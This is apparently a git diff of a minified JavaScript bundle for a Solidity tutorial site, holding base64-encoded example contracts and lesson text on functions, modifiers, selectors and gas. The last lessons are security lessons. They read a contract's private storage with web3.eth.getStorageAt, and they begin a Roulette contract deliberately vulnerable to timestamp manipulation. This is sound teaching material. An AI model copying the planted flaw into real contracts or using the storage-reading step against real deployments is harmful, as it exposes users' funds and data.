udGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],hw=`

                        fallback is a special function that is executed either when

                        • a function that does not exist is called or
                        • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
                        • @@ -6861,7 +6861,7 @@ assertion probably means that there is a bug. return (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,rw=({prev:s,next:a})=>i.jsx(u,{version:pw,title:ew,description:cw,html:ow,prev:s,next:a,codes:tw}),iw="0.8.20",hw="First Application",gw="Example of smart contract in Solidity",dw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],Iw=`

                          Here is a simple contract that you can get, increment and decrement the count store in this contract.

                          +`,gw=({prev:s,next:a})=>i.jsx(u,{version:tw,title:ow,description:rw,html:hw,prev:s,next:a,codes:iw}),dw="0.8.20",Iw="First Application",Cw="Example of smart contract in Solidity",jw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],uw=`

                          Here is a simple contract that you can get, increment and decrement the count store in this contract.

                          // SPDX-License-Identifier: MIT
                           pragma solidity ^0.8.20;
                           
                          @@ -6884,7 +6884,7 @@ assertion probably means that there is a bug.
                                   count -= 1;
                               }
                           }
                          -
                          `,Cw=({prev:s,next:a})=>i.jsx(u,{version:iw,title:hw,description:gw,html:Iw,prev:s,next:a,codes:dw}),jw="0.8.20",uw="Function",yw="Example of how to write functions in Solidity",mw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50LCBib29sLCB1aW50KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB4LCBib29sIGIsIHVpbnQgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIH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3aXRoIGtleS12YWx1ZSBpbnB1dHMKY29udHJhY3QgWFlaIHsKICAgIGZ1bmN0aW9uIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnQgeSwKICAgICAgICB1aW50IHosCiAgICAgICAgYWRkcmVzcyBhLAogICAgICAgIGJvb2wgYiwKICAgICAgICBzdHJpbmcgbWVtb3J5IGMKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCkge30KCiAgICBmdW5jdGlvbiBjYWxsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKDEsIDIsIDMsIGFkZHJlc3MoMCksIHRydWUsICJjIik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsbEZ1bmNXaXRoS2V5VmFsdWUoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgc29tZUZ1bmNXaXRoTWFueUlucHV0cyh7YTogYWRkcmVzcygwKSwgYjogdHJ1ZSwgYzogImMiLCB4OiAxLCB5OiAyLCB6OiAzfSk7CiAgICB9Cn0K"}],Aw=`

                          There are several ways to return outputs from a function.

                          +`,yw=({prev:s,next:a})=>i.jsx(u,{version:dw,title:Iw,description:Cw,html:uw,prev:s,next:a,codes:jw}),mw="0.8.20",Aw="Function",bw="Example of how to write functions in Solidity",ww=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50LCBib29sLCB1aW50KSB7CiA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dXQKCiAgICAvLyBDYW4gdXNlIGFycmF5IGZvciBpbnB1dAogICAgZnVuY3Rpb24gYXJyYXlJbnB1dCh1aW50W10gbWVtb3J5IF9hcnIpIHB1YmxpYyB7fQoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIG91dHB1dAogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gYXJyYXlPdXRwdXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50W10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KfQoKLy8gQ2FsbCBmdW5jdGlvbiB3aXRoIGtleS12YWx1ZSBpbnB1dHMKY29udHJhY3QgWFlaIHsKICAgIGZ1bmN0aW9uIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnQgeSwKICAgICAgICB1aW50IHosCiAgICAgICAgYWRkcmVzcyBhLAogICAgICAgIGJvb2wgYiwKICAgICAgICBzdHJpbmcgbWVtb3J5IGMKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCkge30KCiAgICBmdW5jdGlvbiBjYWxsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKDEsIDIsIDMsIGFkZHJlc3MoMCksIHRydWUsICJjIik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsbEZ1bmNXaXRoS2V5VmFsdWUoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgc29tZUZ1bmNXaXRoTWFueUlucHV0cyh7YTogYWRkcmVzcygwKSwgYjogdHJ1ZSwgYzogImMiLCB4OiAxLCB5OiAyLCB6OiAzfSk7CiAgICB9Cn0K"}],kw=`

                          There are several ways to return outputs from a function.

                          Public functions cannot accept certain data types as inputs or outputs

                          // SPDX-License-Identifier: MIT
                           pragma solidity ^0.8.20;
                          @@ -6956,7 +6956,7 @@ assertion probably means that there is a bug.
                                       someFuncWithManyInputs({a: address(0), b: true, c: "c", x: 1, y: 2, z: 3});
                               }
                           }
                          -
                          `,bw=({prev:s,next:a})=>i.jsx(u,{version:jw,title:uw,description:yw,html:Aw,prev:s,next:a,codes:mw}),ww="0.8.20",kw="Function Modifier",Zw="Example of how to write function modifier in Solidity",Ww=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5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lbWVudChpIC0gMSk7CiAgICAgICAgfQogICAgfQp9Cg=="}],Bw=`

                          Modifiers are code that can be run before and / or after a function call.

                          +`,Zw=({prev:s,next:a})=>i.jsx(u,{version:mw,title:Aw,description:bw,html:kw,prev:s,next:a,codes:ww}),Ww="0.8.20",Bw="Function Modifier",Gw="Example of how to write function modifier in Solidity",fw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aG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p9Cg=="}],Vw=`

                          Modifiers are code that can be run before and / or after a function call.

                          Modifiers can be used to:

                          • Restrict access
                          • @@ -7018,7 +7018,7 @@ assertion probably means that there is a bug. } } } -`,Gw=({prev:s,next:a})=>i.jsx(u,{version:ww,title:kw,description:Zw,html:Bw,prev:s,next:a,codes:Ww}),fw="0.8.20",Vw="Function Selector",vw="Example of how function selectors are computed",Yw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzNCkgewogICAgICAgIHJldHVybiBieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpOwogICAgfQp9Cg=="}],Rw=`

                            When a function is called, the first 4 bytes of calldata specifies which function to call.

                            +`,vw=({prev:s,next:a})=>i.jsx(u,{version:Ww,title:Bw,description:Gw,html:Vw,prev:s,next:a,codes:fw}),Yw="0.8.20",Rw="Function Selector",Xw="Example of how function selectors are computed",Hw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzNCkgewogICAgICAgIHJldHVybiBieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpOwogICAgfQp9Cg=="}],Fw=`

                            When a function is called, the first 4 bytes of calldata specifies which function to call.

                            This 4 bytes is called a function selector.

                            Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

                            addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
                            @@ -7039,7 +7039,7 @@ assertion probably means that there is a bug.
                                     return bytes4(keccak256(bytes(_func)));
                                 }
                             }
                            -
                            `,Xw=({prev:s,next:a})=>i.jsx(u,{version:fw,title:Vw,description:vw,html:Rw,prev:s,next:a,codes:Yw}),Hw="0.8.20",Fw="Gas",Nw="Example of gas and gas limit in Solidity",Kw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],Sw=`

                            How much ether do you need to pay for a transaction?

                            +`,Nw=({prev:s,next:a})=>i.jsx(u,{version:Yw,title:Rw,description:Xw,html:Fw,prev:s,next:a,codes:Hw}),Kw="0.8.20",Sw="Gas",xw="Example of gas and gas limit in Solidity",Mw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],Jw=`

                            How much ether do you need to pay for a transaction?

                            You pay gas spent * gas price amount of ether, where

                            • gas is a unit of computation
                            • @@ -7071,7 +7071,7 @@ assertion probably means that there is a bug. } } } -`,xw=({prev:s,next:a})=>i.jsx(u,{version:Hw,title:Fw,description:Nw,html:Sw,prev:s,next:a,codes:Kw}),Mw="0.8.20",Jw="Gas Saving Techniques",zw="Some gas saving techniques",Ew=[{fileName:"GasGolf.sol",code:"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ogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludFtdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IGxlbjsgKSB7CiAgICAgICAgICAgIHVpbnQgbnVtID0gbnVtc1tpXTsKICAgICAgICAgICAgaWYgKG51bSAlIDIgPT0gMCAmJiBudW0gPCA5OSkgewogICAgICAgICAgICAgICAgX3RvdGFsICs9IG51bTsKICAgICAgICAgICAgfQogICAgICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICAgICAgKytpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICB0b3RhbCA9IF90b3RhbDsKICAgIH0KfQo="}],Lw=`

                              Some gas saving techniques.

                              +`,zw=({prev:s,next:a})=>i.jsx(u,{version:Kw,title:Sw,description:xw,html:Jw,prev:s,next:a,codes:Mw}),Ew="0.8.20",Lw="Gas Saving Techniques",Qw="Some gas saving techniques",_w=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludFtdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IGxlbjsgKSB7CiAgICAgICAgICAgIHVpbnQgbnVtID0gbnVtc1tpXTsKICAgICAgICAgICAgaWYgKG51bSAlIDIgPT0gMCAmJiBudW0gPCA5OSkgewogICAgICAgICAgICAgICAgX3RvdGFsICs9IG51bTsKICAgICAgICAgICAgfQogICAgICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICAgICAgKytpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICB0b3RhbCA9IF90b3RhbDsKICAgIH0KfQo="}],Uw=`

                              Some gas saving techniques.

                              • Replacing memory with calldata
                              • Loading state variable to memory
                              • @@ -7125,7 +7125,7 @@ assertion probably means that there is a bug. total = _total; } } -`,Qw=({prev:s,next:a})=>i.jsx(u,{version:Mw,title:Jw,description:zw,html:Lw,prev:s,next:a,codes:Ew}),_w="0.8.20",Uw="Accessing Private Data",Tw="An example of accessing private data from a Solidity smart contract",Dw=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8K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zEiLCAiMHhiMzkyMjFhY2UwNTM0NjVlYzM0NTNjZTJiMzY0MzBiZDEzOGI5OTdlY2VhMjVjMTA0M2RhMGMzNjY4MTJiODI5IiwgY29uc29sZS5sb2cpCiovCg=="}],Ow=`

                                Vulnerability

                                +`,Tw=({prev:s,next:a})=>i.jsx(u,{version:Ew,title:Lw,description:Qw,html:Uw,prev:s,next:a,codes:_w}),Dw="0.8.20",Ow="Accessing Private Data",Pw="An example of accessing private data from a Solidity smart contract",$w=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludCBwdWJsa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GI5OTdlY2VhMjVjMTA0M2RhMGMzNjY4MTJiODI5IiwgY29uc29sZS5sb2cpCiovCg=="}],qw=`

                                Vulnerability

                                All data on a smart contract can be read.

                                Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

                                // SPDX-License-Identifier: MIT
                                @@ -7238,7 +7238,7 @@ web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace
                                 
                                • Don't store sensitive information on the blockchain.
                                -`,Pw=({prev:s,next:a})=>i.jsx(u,{version:_w,title:Uw,description:Tw,html:Ow,prev:s,next:a,codes:Dw}),$w="0.8.20",qw="Block Timestamp Manipulation",sk="An example of a Solidity contract vulnerable to block timestamp manipulation",ak=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludCBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cud